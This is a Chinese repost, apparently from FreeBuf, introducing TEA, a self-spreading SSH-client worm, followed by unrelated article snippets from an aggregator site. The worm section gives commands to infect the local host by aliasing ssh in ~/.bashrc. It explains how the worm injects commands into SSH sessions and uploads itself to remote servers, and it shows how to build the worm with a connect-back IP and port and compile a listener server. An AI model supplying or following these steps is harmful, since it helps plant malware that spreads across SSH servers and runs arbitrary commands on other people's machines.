ssh客户端_一款基于TAS框架的SSH客户端蠕虫

532fe8b0e1ee792f4f4ca5ffb2a80f3a.png

TEA是一款基于TAS框架的SSH客户端蠕虫,从本质上说,它是一个仿冒的SSH客户端,它能够修改tty输入/输出来实现任意命令执行,或通过SSH连接来上传自身以实现渗透感染。

为了实现该工具的正常功能,远程主机需要满足以下条件:

1、在登录时显示“Last login”信息;

2、dd和stty;

3、目标用户使用Bash作为默认Shell;

4、可运行fakessh代码;

5、~/.bashrc可写入;

感染本地主机:

mkdir ~/.sshwormcp ssh ~/.sshwormalias ssh='~/.sshworm/ssh'

我们首次执行fakessh时,并不会显示任何内容,工具会执行post-install.c中的代码,并将字符串alias ssh=”~/.sshworm/ssh”写入到~/.bashrc中:

$ ssh$ sshusage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface][-b bind_address] [-c cipher_spec] [-D [bind_address:]port][-E log_file] [-e escape_char] [-F configfile] [-I pkcs11][-i identity_file] [-J [user@]host[:port]] [-L address][-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port][-Q query_option] [-R address] [-S ctl_path] [-W host:port][-w local_tun[:remote_tun]] destination [command
实现传播和感染

我们只需要连接到目标SSH服务器,并且服务器满足TEA运行条件的话,目标设备以及连接至目标设备的主机就可以成功被感染。

tty修改:

Fakessh执行之后,它将会等到字符串“Last login”来开启I/O修改(output-hooks.c),当接收到“Last login”之后,它将会发送一些任意指令(inject-cmd.c),然后等待命令执行的结果(output-hooks.c)。如果远程设备中不存在文件~/.sshworm/ssh的话,蠕虫将会上传自身(upload.c)。

卸载:

$ rm -rf ~/.sshworm$ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc$ unalias ssh

编译

我建议大家使用musl-libc,或其他的libc,但我不建议大家使用glibc,因为使用glibc编译的代码会非常大。

获取源码:

$ git clone —recurse-submodules https://github.com/hc0d3r/tea

构建选项:

名称介绍
IP远程IPv4 连接
PORT远程port 连接

样例:

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

服务器

这里我们制作了一个简单的服务器来处理链接,当post-install.c的代码被执行之后,服务器将会接收到链接。服务器机制非常简单,当新链接建立成功之后,它将会执行一条新的命令并通过命令行传递链接文件描述符,这样才能保证执行的程序能够处理链接。

编译:

$ cd server$ makecc -Wall -Wextra -O3 -c net.c -o net.occ -Wall -Wextra -O3 -c replace.c -o replace.occ -Wall -Wextra -O3 -c term.c -o term.occ -Wall -Wextra -O3 -c main.c -o main.occ -Wall -Wextra -O3 -o server net.o replace.o term.o main.o
工具演示

7d565a4e7c6ea81cdd4f5965977b7866.png

项目地址

TEA:【GitHub传送门】(阅读原文获取)

* 参考来源:hc0d3r,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

b1adf76c89cd1fbedd09575de3a06900.gif

精彩推荐

a5fa228f6e79f2d57322d3d4973b946c.png

da825ac2dde904415e0e4b65bb59bc68.png

3687cbaf677b111dabb1590f4c3edf1f.pnga779bb7d13c7eaa3fe6c052cc2f54541.png

48efcd36de588526846d022a431ba5aa.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/396629.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分享到系统面板_win7电脑没有nvidia控制面板怎么办【解决方法】

我们在使用电脑的时候,当电脑显卡出现问题导致屏幕画面不清晰时,可以使用win7系统自带nvidia控制面板,它能够对显卡进行设置,提升显卡功能,不过很多电脑用户点击nvidia控制面板时却提示nvidia显示设置不可用&#xff0…

day3-文件操作之基本操作

一、文件的基本操作 文件内容: Somehow, it seems the love I knew was always the most destructive kind 不知为何,我经历的爱情总是最具毁灭性的的那种 Yesterday when I was young 昨日当我年少轻狂1、read() 当read()函数中传入整数(int)参数&#…

spad 探测器_从光到光子—“单光子”探测器

光电探测器光电探测器是指在光辐射作用下将其非传导电荷变为传导电荷的一类器件。在电子学中,二极管是一种具有不对称传输特性的双端电子元件,在一个方向上对电流具有低(理想为零)电阻,在另一个方向上具有高(理想为无限)电阻。最常见的类型如…

天地图专题五:在天地图上绘制电子区域并保存数据

版权声明:本文为博主原创文章,转载请注明出处。 上一文章讲了如何在天地图上显示坐标轨迹。 本文介绍如何在天地图上绘制电子区域(电子范围或电子栅栏),并且,我们要将我们绘制的电子区域的坐标数据保存到数…

微信和支付宝的服务器在哪里,手机恢复出厂设置,里面支付宝与微信怎么办?原来数据在这里...

当手机使用一段时间之后,因为硬件落后会出现卡顿、内存不足等情况,这个时候提高手机速度最直接的一个办法就是恢复出厂设置,虽然不能从根源上解决问题,但是还是可以凑合个半年时间的。那么这个时候就出现一个问题,手机…

mysql insert 不需要日志_MySQL数据库性能优化(1)「转」

1、MySQL概述从本文开始我们将讨论建立在块存储方案之上的关系型数据库的性能优化方案和集群方案。关系型数据库的选型将以创业公司、互联网行业使用最广泛的MySQL数据为目标,但是MySQL的安装过程和基本使用方法等知识并不在我们讨论的范围内。后续几篇文章我们首先…

Java swing中的keyListener使用事例

最近在学习Java swing,写了一个域内聊天室,实现用户登录ip,端口号之后,进入聊天窗口聊天: 通过菜单条增加了几个功能,边框,字体,颜色和文件传输。风格里的样式都可以通过自己选择来设置。 介绍以…

「前端」History API与浏览器历史堆栈管理

本文由尚妆前端开发工程师欲休撰写 本文发表于尚妆博客,欢迎订阅! 移动端开发在某些场景中有着特殊需求,如为了提高用户体验和加快响应速度,常常在部分工程采用SPA架构。传统的单页应用基于url的hash值进行路由,这种实…

Andrew Ng机器学习(一):线性回归

1.什么是线性回归? 用线性关系去拟合输入和输出。 设输入为x,则输出yaxb。 对于多元的情况yb1a1x1a2x2...anxn。 用θ表示系数,可以写作: 其中,x01。 2.线性回归有什么用? 对于连续输入和输出的问题&#x…

ICMP(Internet Control Message Protocol)网际控制报文协议初识

ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用…

oracle 删除主键_大数据量删除的思考 4

译者 汤健 沃趣科技数据库技术专家出品 沃趣科技在本系列的前一期文章中,我制作了一些图,突出显示了按表扫描执行大量删除操作和按索引范围扫描执行大量删除之间的主要区别。根据所涉及的数据模式,选择正确的策略可能对随机I/Os的数量、生…

redis 持久化 + 主从复制+ 集群

2019独角兽企业重金招聘Python工程师标准>>> 一、 Linux 下的 Redis 安装 && 启动 && 关闭 && 卸载 http://blog.csdn.net/zgf19930504/article/details/51850594 注:设置 redis.conf bind***.***.*.(127.0.0.1) redis启动&…

怎么运行c语言_C语言 原来是这样调用硬件的

大家都知道我们可以使用C语言写一段程序来控制硬件工作,但你知道其工作原理吗?网友北极C语言在实际运行中,都是以汇编指令的方式运行的,由编译器把C语言编译成汇编指令,CPU直接执行汇编指令。所以这个问题就变成&#…

更新和插入的并发问题_mysql经典面试题:如何读写分离?主从原理是啥?同步的延时问题...

面试题你有没有做 MySQL 读写分离?如何实现 MySQL 的读写分离?MySQL 主从复制原理的是啥?如何解决 MySQL 主从同步的延时问题?考点分析高并发这个阶段,肯定是需要做读写分离的,啥意思?因为实际上…

maven建立webapp项目时显示Cannot change version of project facet Dynamic web module to 2.5

为什么80%的码农都做不了架构师&#xff1f;>>> 网上查了很多东西都没啥用&#xff0c;其实直接把这段代码加到web.xml头部&#xff0c;自然就不报错了 <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.…

HTTPS 原理解析

http://www.cnblogs.com/zery/p/5164795.html 一 前言 在说HTTPS之前先说说什么是HTTP&#xff0c;HTTP就是我们平时浏览网页时候使用的一种协议。HTTP协议传输的数据都是未加密的&#xff0c;也就是明文的&#xff0c;因此使用HTTP协议传输隐私信息非常不安全。为了保证这些隐…

kbmmw 5.0 中的REST 服务

目前关于REST 服务的话题越来越热&#xff0c;kbmmw 在5.0 里面开始支持rest。今天我就试一下kbmmw 的 rest 服务。闲话少说&#xff0c;开始。 老规矩&#xff0c;放上两个kbmMWServer1和 kbmMWHTTPSysServerTransport1两个控件。 设置kbmMWHTTPSysServerTransport1的server 属…

多租户saas 架构_[译/注] Force.com 多租户互联网应用开发平台的设计

原文地址 http://cloud.pubs.dbs.uni-leipzig.de/sites/cloud.pubs.dbs.uni-leipzig.de/files/p889-weissman-1.pdf译注&#xff1a;原文发表于 ACM&#xff0c;2009年6月作者Craig D Weissman, CTO, Salesforce.comSteve Bobrowski, Technical Marketing Consultant, Salesfor…

富文本

View Code转载于:https://www.cnblogs.com/baidaye/p/5295448.html

Jenkins持续集成——用户管理

一、基于安全矩阵系统管理 —>Configure Global Security相关权限的作用&#xff1a;其中有一些比较特别的权限&#xff1a;最大的权限是Overall的Administer&#xff0c;拥有该权限可以做任何事情。最基本的权限是Overall的Read&#xff0c;用户必须赋予阅读的权限&#xf…